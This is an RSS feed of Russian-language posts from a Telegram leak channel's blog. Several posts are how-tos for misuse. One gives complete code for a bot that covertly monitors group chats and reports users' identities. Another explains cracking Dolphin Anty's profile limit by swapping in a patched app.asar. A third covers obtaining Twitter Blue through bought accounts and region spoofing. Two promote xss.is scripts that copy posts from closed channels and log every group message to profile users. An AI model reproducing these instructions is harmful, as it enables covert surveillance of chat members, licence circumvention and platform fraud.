<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>https://t.me/slivmens</title><generator>teletype.in</generator><description><![CDATA[https://t.me/slivmens]]></description><image><url>https://teletype.in/files/23/235e7f35-11c0-4cd5-8c40-1489bd7bd60c.jpeg</url><title>https://t.me/slivmens</title><link>https://teletype.in/@slivmens</link></image><link>https://teletype.in/@slivmens?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=slivmens</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/slivmens?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/slivmens?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Sun, 19 Apr 2026 17:28:35 GMT</pubDate><lastBuildDate>Sun, 19 Apr 2026 17:28:35 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@slivmens/2IyUY85P0Oj</guid><link>https://teletype.in/@slivmens/2IyUY85P0Oj?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=slivmens</link><comments>https://teletype.in/@slivmens/2IyUY85P0Oj?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=slivmens#comments</comments><dc:creator>slivmens</dc:creator><title>Создаем бота-подслушку на Python</title><pubDate>Wed, 24 Apr 2024 21:31:24 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/21/28/21287a50-f9e4-4f71-8501-acc27733fed3.png"></media:content><description><![CDATA[<img src="https://img3.teletype.in/files/a5/4a/a54a34aa-4683-4229-bd5d-2e270706562b.png"></img>Для начала установим aiogram и создадим бота. Открываем консоль ( win+r ) и вводим:]]></description><content:encoded><![CDATA[
  <p id="txLI">Для начала установим aiogram и создадим бота. Открываем консоль ( win+r ) и вводим:</p>
  <ul id="EDEV">
    <li id="xBFE">pip install aiogram</li>
  </ul>
  <p id="6Z6J">Далее переходим в <a href="https://t.me/BotFather" target="_blank">BotFather</a> и создаем бота. Переходим в настройки нашего бота и выключаем &#x27;Privacy mode&#x27;. Это делается для того, чтобы бот имел возможность читать сообщения в чатах, куда он был добавлен</p>
  <p id="Jmo2">2) Создаем папку и в ней 3 файла:</p>
  <ul id="k49k">
    <li id="BQvG">config.py</li>
    <li id="ckbM">main.py</li>
    <li id="QLir">user_handler.py</li>
  </ul>
  <p id="OOY7">Давайте теперь создадим конфиг для нашего проекта, где будет храниться приватная информация.​ Открываем файл config.py и прописываем в нем следующий код:</p>
  <pre id="M79b">class Settings(object):

    &quot;&quot;&quot;
    Класс настроек
    &quot;&quot;&quot;
    
    # Все вариации сообщения которые обрабатываются
    all_variants = [&#x27;Куплю аккаунт&#x27;, &#x27;куплю аккаунт&#x27;, &#x27;куплю акаунт&#x27;, &#x27;куплю аккаунт&#x27;, &#x27;купи аккаут&#x27;, &#x27;Куплю ак&#x27;,
          &#x27;Куплю аккаунт&#x27;, &#x27;Куплю аккоунт&#x27;, &#x27;Купить аккаунт&#x27;, &#x27;Купи аккаунт&#x27;, &#x27;Купи аккаунт дёшево&#x27;, &#x27;КУПЛЮ АККАУНТ&#x27;,
          &#x27;куплю акаунт&#x27;, &#x27;купит аккаут&#x27;, &#x27;Куплю аккаунт в топе&#x27;, &#x27;покуплю акаунт&#x27;, &#x27;аккаунт куплю&#x27;, &#x27;куплю аккаунт в игре&#x27;,
          &#x27;куплю аккаунт дорого&#x27;, &#x27;куплю аккаунт &#x27;, &#x27;Куплю аккаунт&#x27;, &#x27;КуПлю акк&#x27;]
    
    # Токен бота
    token = &#x27; ТУТ ВПИШИТЕ ТОКЕН БОТА &#x27;

    # Чат , куда приходят уведомления
    chat_id = &#x27; ТУТ ПИШЕМ АЙДИ ЧАТА &#x27;
</pre>
  <p id="U0kF">Отлично. Мы создали конфиг нашего будущего бота.</p>
  <p id="kIwa">Теперь мы оформим файл запуска. Бот ведь должен как-то запускаться. Открываем файл main.py.</p>
  <p id="Sesw">Для начала импортируем все что нам потребуется :​</p>
  <pre id="8IVy">import asyncio
import logging

from aiogram import Bot, Dispatcher
from aiogram.fsm.storage.memory import MemoryStorage
from aiogram.enums.parse_mode import ParseMode

from user_handler import router

from config import Settings
</pre>
  <p id="pe1W">Отлично. Теперь создадим функцию для запуск<strong>а.</strong>​</p>
  <pre id="OjSf">async def start():

    &quot;&quot;&quot;
    Функция запуски бота
    &quot;&quot;&quot;

    bot = Bot(token=Settings.token, parse_mode=ParseMode.HTML) # Создаем экземпляр бота
    dp = Dispatcher(storage=MemoryStorage()) # Создаем диспетчер и указываем хранилище

    dp.include_router(router) # Подключаем роутер , рассмотрим его позже

    me = await bot.get_me()
    print(&#x27;Started&#x27;)
    print(me.username)
    logging.basicConfig(level=logging.INFO) # Подключаем логирование

    try:
        await bot.delete_webhook(drop_pending_updates=True) # Удаляем вебхуки
        await dp.start_polling(bot) # Бот работает в режиме Long Polling

    except Exception as e:
        print(e)
</pre>
  <p id="1mTv">Давайте теперь пропишем код для запуска нашей функции​.</p>
  <pre id="s4eV"># запускаем бота
if __name__ == &quot;__main__&quot;:
    try:
        asyncio.run(start())
    except (KeyboardInterrupt, SystemExit):
        print(&#x27;Bot stopped&#x27;)
</pre>
  <p id="sKXd">Мы добрались до финальной части разработки. Открываем файл user_handler.py и импортируем все что потребуется.</p>
  <pre id="KizF">from aiogram import Router, Bot
from aiogram.filters import BaseFilter
from aiogram import types
from config import Settings
</pre>
  <p id="cxK1">Создаем фильтр, чтобы отлавливать сообщения только из чатов.</p>
  <pre id="020r">class IsGroup(BaseFilter):
    async def __call__(self, message: types.Message) -&gt; bool:
        return message.chat.type == &#x27;group&#x27;
</pre>
  <p id="gxG1">Создаем роутер, именно он позволяет нам удобно разделять код хэндлеров в различных файлов и соединять в основном.</p>
  <pre id="Dej4">router = Router()
</pre>
  <p id="4ap4">Теперь напишем сам обработчик на сообщения.</p>
  <pre id="y8a3">@router.message(IsGroup())
async def get_messages(message: types.Message, bot : Bot):

    &quot;&quot;&quot;
    filter: Проверка на группу
    :params Messsage, Bot:

    Если сообщение содержит в себе нужный текст, отправляем увед. в наш чат
    &quot;&quot;&quot;

    if message.text in Settings.all_variants:
        await bot.send_message(chat_id=Settings.chat_id, text=
                               f&#x27;&lt;b&gt; Человек хочет купить аккаунт&lt;/b&gt;\n&#x27;
                               f&#x27;&lt;b&gt;Юзернейм:&lt;/b&gt; @{message.from_user.username}\n&#x27;
                               f&#x27;&lt;b&gt;Айди:&lt;/b&gt; {message.from_user.id}\n&#x27;
                               f&#x27;&lt;b&gt;Полное имя:&lt;/b&gt; {message.from_user.full_name}&#x27;)
</pre>
  <p id="lBQq">Вот мы и закончили разработку! Осталось запустить и потестить. Вводим в консоли:</p>
  <ul id="bzd7">
    <li id="j5VZ">python main.py</li>
  </ul>
  <p id="4F6b">Таким образом мы запустили нашего бота, не забудьте заполнить конфиг своими данными. Создаем чат и добавляем туда бота:</p>
  <figure id="LP1P" class="m_original">
    <img src="https://img3.teletype.in/files/a5/4a/a54a34aa-4683-4229-bd5d-2e270706562b.png" width="304" />
  </figure>
  <p id="66Io">Вводим сообщение в чате:</p>
  <figure id="Pvzk" class="m_original">
    <img src="https://img1.teletype.in/files/c1/75/c175b599-8a36-474d-9a43-09b42c0ab30d.png" width="226" />
  </figure>
  <p id="ct67">Бот присылает уведомление в наш чат:</p>
  <figure id="iUIi" class="m_original">
    <img src="https://img1.teletype.in/files/4e/97/4e977eb2-3940-4dbd-909a-d7f1ae87277f.png" />
  </figure>
  <p id="IcVD">Таким образом, вы можете менять тексты на свои и подслушивать сообщения любого вида. Все зависит от ваших требований.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@slivmens/ne1PPp-AP5a</guid><link>https://teletype.in/@slivmens/ne1PPp-AP5a?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=slivmens</link><comments>https://teletype.in/@slivmens/ne1PPp-AP5a?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=slivmens#comments</comments><dc:creator>slivmens</dc:creator><title>Dolphin Anty 1000+ профилей бесплатно</title><pubDate>Mon, 01 Apr 2024 19:50:06 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/41/ff/41ff532a-f8ec-46f1-acbc-1f4ac7f5012f.png"></media:content><description><![CDATA[<img src="https://img3.teletype.in/files/23/7b/237b0c7e-bad0-447c-8e7e-050735b83f0d.png"></img>Установка:]]></description><content:encoded><![CDATA[
  <figure id="6JEV" class="m_column">
    <img src="https://img3.teletype.in/files/23/7b/237b0c7e-bad0-447c-8e7e-050735b83f0d.png" width="1580" />
  </figure>
  <p id="DG78"><strong>Установка:</strong></p>
  <p id="GjLh">Для начала устанавливаем python - <a href="https://www.python.org/downloads/" target="_blank">https://www.python.org/downloads/</a>.</p>
  <p id="XSnO">В установщике обьязательно ставим галочку на ADD PATH.</p>
  <figure id="2BiN" class="m_column">
    <img src="https://img1.teletype.in/files/0d/fc/0dfcfa5a-4e9d-40ca-8995-f6ba564b2b1c.png" width="743" />
  </figure>
  <p id="wvPs">Скачиваем скрипт - <a href="https://github.com/IsNaRm/dolphin-free-botsforge" target="_blank">https://github.com/IsNaRm/dolphin-free-botsforge</a>.</p>
  <figure id="YG7g" class="m_column">
    <img src="https://img2.teletype.in/files/d4/42/d442572f-6ba2-4874-93ba-b4e2d91cfe1c.png" width="1886" />
  </figure>
  <p id="LBhS">Распаковываем заходим в консоль прописываем путь папки и вводим - pip install -r requirements.txt.</p>
  <figure id="JuTN" class="m_column">
    <img src="https://img2.teletype.in/files/1b/d9/1bd94917-fca7-43ba-9656-e243a31681ab.png" width="803" />
  </figure>
  <p id="jaWD">Заходим в папку browsers и копируем файл - app.asar.</p>
  <figure id="bxH5" class="m_column">
    <img src="https://img1.teletype.in/files/40/87/40878869-1a32-487c-8cd4-fe5a2136b132.png" width="713" />
  </figure>
  <p id="yUSx">Нажимаем пкм по Dolphin Anty - расположение файла - папка resources и вставляем скопированный файл с заменой.</p>
  <figure id="KRo6" class="m_column">
    <img src="https://img4.teletype.in/files/70/e6/70e6f5b1-aa16-48ce-9eec-b998fb9d9ce4.png" width="734" />
  </figure>
  <p id="TwJq">Возвращаемся в папку с софтом и запускаем - start.bat. Если у вас появилось это значит софт запустился и работает.</p>
  <figure id="IfAL" class="m_column">
    <img src="https://img1.teletype.in/files/4a/2f/4a2f0777-8fe2-4280-8a68-3f6e131113ca.png" width="1073" />
  </figure>
  <p id="q5dJ">Если у вас закрывается консоль значит не установились библиотеки.</p>
  <p id="zelf">Запускаем Dolphin Anty и видим снизу такую надпись значит все установилось и работает.</p>
  <figure id="IOeO" class="m_column">
    <img src="https://img3.teletype.in/files/6c/ce/6cce0870-1b7a-402a-bd24-d7f2eb100e60.png" width="770" />
  </figure>
  <p id="H3Yv"><strong>ВАЖНО</strong></p>
  <p id="Rtzl">Создаем 10 профилей, закрываем консоль заходим в Dolphin и удаляем все профили ( они останутся в софте ), запускаем start.bat заходим обратно в Dolphin и создаем еще 10 профилей и повторяем столько сколько вам нужно.</p>
  <p id="dCBZ"><strong>Возможные проблемы</strong></p>
  <p id="Gw2F">Если у вас кнопка START будет серая:</p>
  <p id="iQVS">Нужно переместить и разархивировать <a href="https://drive.google.com/file/d/1doD04NGkQrTPPl2lCcSVNddRzEWXfkKZ/view" target="_blank"><u>файл</u></a>по пути C:\Users{имя пользователя}\AppData\Roaming\dolphin_anty\browser.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@slivmens/BORPaQVnANa</guid><link>https://teletype.in/@slivmens/BORPaQVnANa?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=slivmens</link><comments>https://teletype.in/@slivmens/BORPaQVnANa?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=slivmens#comments</comments><dc:creator>slivmens</dc:creator><title>Покупаем галочку Twitter blue за 2.2$</title><pubDate>Wed, 20 Mar 2024 20:36:26 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/a7/22/a7229c52-a54f-4ece-b01b-e0b624134b62.png"></media:content><description><![CDATA[<img src="https://img4.teletype.in/files/ba/76/ba76a0b4-3083-4209-bd60-8ecd2c55bae9.png"></img>1. Заходим в любой шоп аккаунтов твиттера например дарк стор / фан пей:]]></description><content:encoded><![CDATA[
  <p id="TpJX">1. Заходим в любой шоп аккаунтов твиттера например дарк стор / фан пей:</p>
  <figure id="jEYL" class="m_column">
    <img src="https://img4.teletype.in/files/ba/76/ba76a0b4-3083-4209-bd60-8ecd2c55bae9.png" width="1144" />
  </figure>
  <figure id="pG1q" class="m_column">
    <img src="https://img4.teletype.in/files/be/2b/be2b8adc-2487-4e3d-9ade-4b3872509782.png" width="1339" />
  </figure>
  <p id="yiUj">Тут как говорится на вкус и цвет можно взять новорег, можно старорег. Но аккаунты советую покупать 2008-2013 года.</p>
  <p id="USq1">2. Заходим в аккаунт - меняем регион на Нигерия</p>
  <figure id="F3Nq" class="m_retina">
    <img src="https://img2.teletype.in/files/96/d0/96d04d06-e7a9-4349-92ba-85d91c88395a.png" width="178.5" />
  </figure>
  <figure id="LhJE" class="m_column">
    <img src="https://img4.teletype.in/files/7d/b4/7db4f59c-8d6f-4aa7-9f09-854e59e86b6f.png" width="831" />
  </figure>
  <p id="zmhP">Нажмите &quot;Страна&quot; и выберите нигерия. Нажмите &quot;Согласиться&quot; и &quot;Продолжить&quot;.​</p>
  <p id="osPX">3. Оставляем аккаунт на 24 часа без действий и потом заходим с прокси Нигерии (прокси можно взять любые по запросу &quot;прокси нигерии&quot; в браузере), ставим на аккаунт твиттера дату рождения.</p>
  <p id="eppA">Ставим оплату галочки - указываем нашу карту с которой будет списываться оплата за подписку (с балансом).</p>
  <p id="mmUM">Списывается по валюте Нигерии 2.2$ (подписку выдают в течение 3-6 часов, если сделали неправильно то в пределах 5 дней).</p>
  <figure id="eWBi" class="m_original">
    <img src="https://img1.teletype.in/files/cb/35/cb35cca1-1b52-4975-972e-45f08194fff1.png" width="258" />
  </figure>
  <figure id="GkAc" class="m_column">
    <img src="https://img1.teletype.in/files/47/d7/47d7b8b6-b7db-4c31-b3fe-95aa3a1c94b2.png" width="371" />
  </figure>
  <figure id="kCeq" class="m_column">
    <img src="https://img1.teletype.in/files/8d/83/8d83e2b7-1a58-4bdf-a835-8daeb519cfc7.png" width="344" />
  </figure>
  <p id="XYpC">Карту можно выпустить на сайте <a href="https://zelenka.guru/proxy.php?link=https%3A%2F%2Fepn.net%2F&hash=06afa5338bfe07af92822ff78f4439e6" target="_blank">https://epn.net/</a> (например), гео карты не влияет особо, карту можете взять в любом месте.</p>
  <p id="VlRS">4. Убираем прокси / заходим в регион ставим нужный нам.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@slivmens/mLxki15IPgE</guid><link>https://teletype.in/@slivmens/mLxki15IPgE?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=slivmens</link><comments>https://teletype.in/@slivmens/mLxki15IPgE?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=slivmens#comments</comments><dc:creator>slivmens</dc:creator><title>Создаём своего Telegram/Discord бота с GPT-4 бесплатно</title><pubDate>Tue, 19 Mar 2024 14:51:19 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/2b/18/2b18cfe8-a133-4801-88aa-d9739a414866.png"></media:content><description><![CDATA[<img src="https://img3.teletype.in/files/e9/38/e938dfba-6daa-44bf-8300-67751c37bc95.png"></img>Для начала заходим на https://www.coze.com/sign и создаём там аккаунт через Google, в России доступно без ВПН.]]></description><content:encoded><![CDATA[
  <p id="3PGY">Для начала заходим на <a href="https://zelenka.guru/proxy.php?link=https%3A%2F%2Fwww.coze.com%2Fsign&hash=175624c99c9b7bb075a76b9404e01839" target="_blank">https://www.coze.com/sign</a> и создаём там аккаунт через Google, в России доступно без ВПН.</p>
  <p id="zC8a">Устанавливаем юзернейм:</p>
  <figure id="vRcW" class="m_original">
    <img src="https://img3.teletype.in/files/e9/38/e938dfba-6daa-44bf-8300-67751c37bc95.png" width="582" />
  </figure>
  <p id="ebLF">Нажимаем Create bot:</p>
  <p id="7T3e"></p>
  <p id="c0Ad">Добавляем боту имя и описание, загружаем аватарку</p>
  <figure id="RjqU" class="m_column">
    <img src="https://img1.teletype.in/files/82/49/82490bd9-a7e2-4a5f-add3-edffd0889ef5.png" width="577" />
  </figure>
  <p id="csjN">Далее мы попадаем в окно настройки бота:</p>
  <figure id="sptp" class="m_column">
    <img src="https://img4.teletype.in/files/7b/69/7b691e73-1422-408a-9a34-6fa175e0b25f.png" width="1871" />
  </figure>
  <p id="yMWA">По умолчанию у бота уже выбран GPT-4, но для больших возможностей (поиск в интернете, генерация изображений и т.д.) лучше добавить плагины:</p>
  <figure id="ZhkS" class="m_column">
    <img src="https://img3.teletype.in/files/67/dd/67dd8145-b70f-4bfd-977a-b150cb54eeda.png" width="641" />
  </figure>
  <p id="82UP"><strong>Для своего бота я добавил:</strong></p>
  <p id="LoCL">1. Google Web Search</p>
  <p id="0h2X">2. Google Images Search</p>
  <p id="fble">3. GitHub</p>
  <p id="u2Ol">4. X</p>
  <p id="qy6O">5. DALLE 3 - для генерации изображений</p>
  <p id="4ofD">6. YouTube</p>
  <p id="RAwp">7. Wikipedia</p>
  <p id="4MVC">8. WebPilot - бот сможет получать информацию с сайтов по ссылке</p>
  <p id="Ns41">Слева по желанию можно добавить кастомный промпт боту, рассказать ему, от чьего имени он будет отвечать:</p>
  <figure id="Rgs5" class="m_column">
    <img src="https://img1.teletype.in/files/81/24/8124189b-4fd1-4e53-b02e-de33405251a1.png" width="606" />
  </figure>
  <p id="a18A">Также можно добавить Knowledge - заранее подготовленные ответы на вопросы пользователей, рассказать ему о чём-то малоизвестном. Базу данных знаний можно добавить в виде Word-документа, ссылки на сайт:</p>
  <figure id="bHdJ" class="m_column">
    <img src="https://img2.teletype.in/files/5d/07/5d07af96-d3be-4a06-b844-877d180ff087.png" width="596" />
  </figure>
  <figure id="RtMq" class="m_column">
    <img src="https://img2.teletype.in/files/10/9c/109cad92-236f-49cb-8988-e19037be9df2.png" width="817" />
  </figure>
  <p id="WfLt">Тут всё целиком на ваших фантазиях. Перейдём наконец к созданию Telegram и Discord ботов. Для этого справа вверху тыкаем Publish:</p>
  <figure id="3HgF" class="m_original">
    <img src="https://img1.teletype.in/files/87/71/8771eaa6-9252-4494-8d21-a6ccecc760da.png" width="236" />
  </figure>
  <p id="X6XI">У нужных нам платформ выбираем Configure:</p>
  <figure id="ecU1" class="m_original">
    <img src="https://img4.teletype.in/files/fc/2c/fc2c424f-08b1-4f16-9eb7-5f1c7ea7070d.png" width="664" />
  </figure>
  <p id="xMi4">Для Telegram и Discord нужно ввести только токен. Если у вас ошибка &quot;Please check whether the discord bot intents is correct&quot; при вводе Discord токена, значит вы не включили эти настройки на странице настроек Discord бота:</p>
  <figure id="1ucJ" class="m_column">
    <img src="https://img2.teletype.in/files/94/cc/94cc1fbd-9278-451d-a175-a877fb56adec.png" width="1420" />
  </figure>
  <p id="biMl">Ставим галочки у Telegram, Discord, остальные убираем:</p>
  <figure id="V6Zj" class="m_original">
    <img src="https://img4.teletype.in/files/39/e2/39e22cb2-0e0c-46e4-92d2-4d366a60366d.png" width="421" />
  </figure>
  <p id="PxbZ">И, наконец, тыкаем справа сверху Publish!</p>
  <figure id="MXKv" class="m_column">
    <img src="https://img2.teletype.in/files/d7/e8/d7e8e49a-d163-4fe7-9a16-1577998cfd18.png" width="847" />
  </figure>
  <p id="U1sD">Здесь мы можем открыть бота на этих платформах!</p>
  <p id="vJEA">Можно также использовать своего GPT-4 онлайн, на странице настроек в разделе Preview, для этого не обязательно добавлять Telegram и Discord:</p>
  <figure id="OqcF" class="m_column">
    <img src="https://img4.teletype.in/files/30/71/3071be8c-716d-4377-9db1-e36041518050.png" width="490" />
  </figure>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@slivmens/9s5yo1kknPU</guid><link>https://teletype.in/@slivmens/9s5yo1kknPU?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=slivmens</link><comments>https://teletype.in/@slivmens/9s5yo1kknPU?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=slivmens#comments</comments><dc:creator>slivmens</dc:creator><title>Telegram Pro Poster - Глубокая автоматизация Telegram постов.</title><pubDate>Sat, 09 Mar 2024 08:23:23 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/0a/ba/0aba346b-49a6-489f-88f7-624a9c642dcd.png"></media:content><description><![CDATA[<img src="https://img4.teletype.in/files/32/8f/328f55eb-f1a6-4974-a8bd-f2c4dc834e96.png"></img>Источник: https://xss.is/threads/110019/
Автор: https://xss.is/members/285214/ (Pepe)]]></description><content:encoded><![CDATA[
  <p id="tn9W"><strong>Источник: https://xss.is/threads/110019/<br />Автор: https://xss.is/members/285214/ (Pepe)</strong></p>
  <p id="2CtA"><a href="https://t.me/slivmens" target="_blank">https://t.me/slivmens</a></p>
  <p id="mlVR"><br />Представляю вам бота который в автономном режиме может управлять множеством каналов в Telegram.</p>
  <p id="EvDx">Бот имеет широкий спектр настроек:<br />- Авто копирования постов с донорских каналов<br />- Фильтр сигнатур канала<br />- Фильтр дубликатов<br />- Фильтр рекламных постов<br />- Фильтр фото<br />- Фильтр видео<br />- Фильтр альбомов<br />- Фильтр текста<br />- Фильтр ссылок/гиперссылок<br />- Уникализация скопированных постов с помощью ChatGPT<br />- Перевод скопированного поста на 8 языков</p>
  <p id="BNBp">Вы можете управлять неограниченным количество каналов и подключать к каждому каналу неограниченное кол-во доноров как источник потока информации.</p>
  <p id="pq6Z">Бот использует клиент и апи телеграм, что означает, что копировать посты можно даже с закрытых каналов.</p>
  <p id="07R7">Так же есть блок-лист слов, который можно пополнять с помощью команд в боте.</p>
  <p id="OJp5">Можно добавить свою сигнатуру под каждый пост.</p>
  <p id="nf7b">Проект написан полностью на Python.<br />Быстрый запуск с config.py<br />Управление полностью в Telegram.</p>
  <p id="Wzfv">Краткое руководство:<br />1. Запускаем бота<br />2. Добавляем его в наши каналы <br />3. Подписываемся на каналы откуда будет воровать посты<br />4. Пересылаем боту сообщение из нашего донора <br />5. Настраиваем донора как нам угодно<br />6. Включаем авто постинг <br />7. Наблюдаем!</p>
  <p id="9VvC">До каждого донора и канала можно настроить персональные настройки.</p>
  <figure id="H5k8" class="m_column">
    <img src="https://img4.teletype.in/files/32/8f/328f55eb-f1a6-4974-a8bd-f2c4dc834e96.png" width="2134" />
  </figure>
  <figure id="HJny" class="m_column">
    <img src="https://img1.teletype.in/files/c4/8b/c48b893d-f97a-4b41-aebe-6608cf2840e3.png" width="2134" />
  </figure>
  <figure id="opsB" class="m_column">
    <img src="https://img3.teletype.in/files/69/fe/69fed0b4-f0b5-4dd8-a715-13ac4cef10f5.png" width="2134" />
  </figure>
  <figure id="76dt" class="m_column">
    <img src="https://img2.teletype.in/files/9d/0f/9d0f6e95-6833-44c5-856c-a36dba17d522.png" width="2134" />
  </figure>
  <figure id="4i2B" class="m_column">
    <img src="https://img1.teletype.in/files/8d/e3/8de34de9-2b9c-4112-b9d7-145d67a0ffd3.png" width="2134" />
  </figure>
  <p id="T7BW"></p>
  <p id="Jfcy"><a href="https://t.me/slivmens" target="_blank">Скачать -  https://t.me/slivmens</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@slivmens/wnzwz-YCjv4</guid><link>https://teletype.in/@slivmens/wnzwz-YCjv4?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=slivmens</link><comments>https://teletype.in/@slivmens/wnzwz-YCjv4?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=slivmens#comments</comments><dc:creator>slivmens</dc:creator><title>OSINTgram for xss</title><pubDate>Thu, 29 Feb 2024 20:01:14 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/cb/f1/cbf18403-9de1-4edf-a134-651b75914de7.png"></media:content><description><![CDATA[<img src="https://img4.teletype.in/files/70/f0/70f02d4e-43ed-4626-bd6f-1e51ac1e6790.png"></img>Простенький скрипт для телеграма.]]></description><content:encoded><![CDATA[
  <p id="gcAn">Простенький скрипт для телеграма.</p>
  <p id="G2bG"><strong>Для чего?</strong><br />Как видим из названия - для OSINT. Это этакий Telegram Search Engine на минималках. (Хотя если у вас 100+ аккаунтов, то можно переплюнуть как TeleSint + TeleScan вместе взятые)</p>
  <p id="tQ1c"><strong>Что может?</strong><br />+ Собирает ВСЕ сообщения со всех групп куда вы вступили. Кто писал, куда писал, что писал и когда писал.<br />+ Записывает все в БД.<br />+ Если знакомы со SQL то можете<br />Производить поиск по ID:<br />Смотреть в каких чатах был замечен пользователь<br />Смотреть ВСЕ сообщения одного пользователя<br />Смотреть все сообщения в группе<br />Смотреть в каких группах состоит пользователь по ID</p>
  <p id="ke9P"><strong>Что делать?</strong><br />Просто запускаете бота, вступаете в группы со своего (лучше со спецально созданного для этого аккаунта)</p>
  <p id="zU2K"><strong>Какие перспективы для дальнейшего развития?</strong><br />Можно дописать, что бы скачивал все вложения со всех групп.<br />Уведомления по ключевым словам, например &quot;тел&quot;, &quot;связ&quot;, &quot;mail&quot; и т.д.<br />Доработка с выдиранием мета-тегов из файлов &quot;на лету&quot;<br />Да собственно, что угодно. Макет настолько универсален, что кажется возможности безграничны.</p>
  <p id="cRIm">Язык программирования: Python 3+<br />Зависимости<br />Python: Скопировать в буфер обмена</p>
  <pre data-lang="python" id="2EsC">pip install asyncio
pip install telethon -U</pre>
  <p id="QhTC">Структура DB<br />SQL: Скопировать в буфер обмена</p>
  <pre data-lang="sql" id="cQhM">CREATE TABLE &quot;messages&quot; (
    &quot;user_id&quot;    INTEGER NOT NULL,
    &quot;channel_id&quot;    INTEGER NOT NULL,
    &quot;message_id&quot;    INTEGER NOT NULL,
    &quot;channel_username&quot;    TEXT NOT NULL,
    &quot;message&quot;    TEXT NOT NULL,
    &quot;timestamp&quot;    INTEGER NOT NULL
);</pre>
  <p id="i7Ee">Получить api_id и api_hash <a href="https://my.telegram.org/auth" target="_blank">тут</a></p>
  <p id="9LoC">Автор: <a href="https://xss.is/members/175645/" target="_blank">Guron_18</a> для xss.is</p>
  <p id="ZAKa">Источник: <a href="https://xss.is/threads/109307/" target="_blank">https://xss.is/threads/109307/</a></p>
  <p id="6tPK"></p>
  <p id="mnaN">Скачать - <a href="https://t.me/slivmens" target="_blank">https://t.me/slivmens</a> - <a href="https://t.me/c/1441750002/3585" target="_blank">https://t.me/c/1441750002/3585</a></p>
  <p id="CCmQ"></p>
  <p id="WmYO">Наш чат - https://t.me/slivmenss_chat</p>
  <p id="bR9p">Слив курсов - https://t.me/slivmens_sklad</p>
  <p id="OpDL"></p>
  <p id="tbYe">Скрины:</p>
  <figure id="2gtr" class="m_column">
    <img src="https://img4.teletype.in/files/70/f0/70f02d4e-43ed-4626-bd6f-1e51ac1e6790.png" width="936" />
  </figure>
  <figure id="dRqZ" class="m_column">
    <img src="https://img4.teletype.in/files/b5/7a/b57ad5fd-9005-4833-bb22-432dd129e0b9.png" width="1362" />
  </figure>
  <figure id="wyKd" class="m_column">
    <img src="https://img2.teletype.in/files/59/54/5954faea-204d-416d-96da-7096e560092c.png" width="1044" />
  </figure>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@slivmens/qyggg8vXhYj</guid><link>https://teletype.in/@slivmens/qyggg8vXhYj?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=slivmens</link><comments>https://teletype.in/@slivmens/qyggg8vXhYj?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=slivmens#comments</comments><dc:creator>slivmens</dc:creator><title>Как создать стикеры тг без навыков в дизайне</title><pubDate>Mon, 26 Feb 2024 06:52:17 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/e5/a4/e5a4bafe-0394-42d7-9b86-138c0ff161bc.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/1c/bb/1cbb4302-68ed-4dda-b5c2-2d276e5bb628.png"></img>Эта статья - пошаговое пособие как создать уникальный стикер пак в Telegram для (себя / друга / на заказ) при помощи нейросетей.]]></description><content:encoded><![CDATA[
  <figure id="me9u" class="m_column">
    <img src="https://img2.teletype.in/files/1c/bb/1cbb4302-68ed-4dda-b5c2-2d276e5bb628.png" width="840" />
  </figure>
  <p id="cmIM">Эта статья - пошаговое пособие как создать уникальный стикер пак в Telegram для (<strong>себя / друга / на заказ</strong>) при помощи <a href="https://t.me/GPT35bot?start=5564446233" target="_blank">нейросетей</a>.</p>
  <h4 id="Введение">Введение</h4>
  <p id="saqC">Одним из решений было заказать стикеры у иллюстратора, но цены от 2500 до 6000 руб нас не сильно обрадовали.</p>
  <p id="4hhL">Так мы пришли к тому, что будем делать все через нейронку Dalle-3, с HD модулем, которая более вдумчиво генерирует изображения.</p>
  <p id="siLv">Ну и раз этот путь был пройден, то почему и не написать краткое руководство от А до Я и дать примеры текстовых запросов, чтобы и вы могли с легкостью создать что-то уникальное!</p>
  <h4 id="Подготовительная-часть">Подготовительная часть</h4>
  <p id="jmzk">Для генерации Dalle-3 и ChatGPT используется бот <a href="https://t.me/GPT35bot?start=5564446233" target="_blank">@GPT35bot</a>.</p>
  <p id="Uu5l">При генерации изображений обязательно выбирайте «🗃️ Файл» , «HD» и «<strong>1024х1024</strong>», в ином случае вы не получите достойный результат!</p>
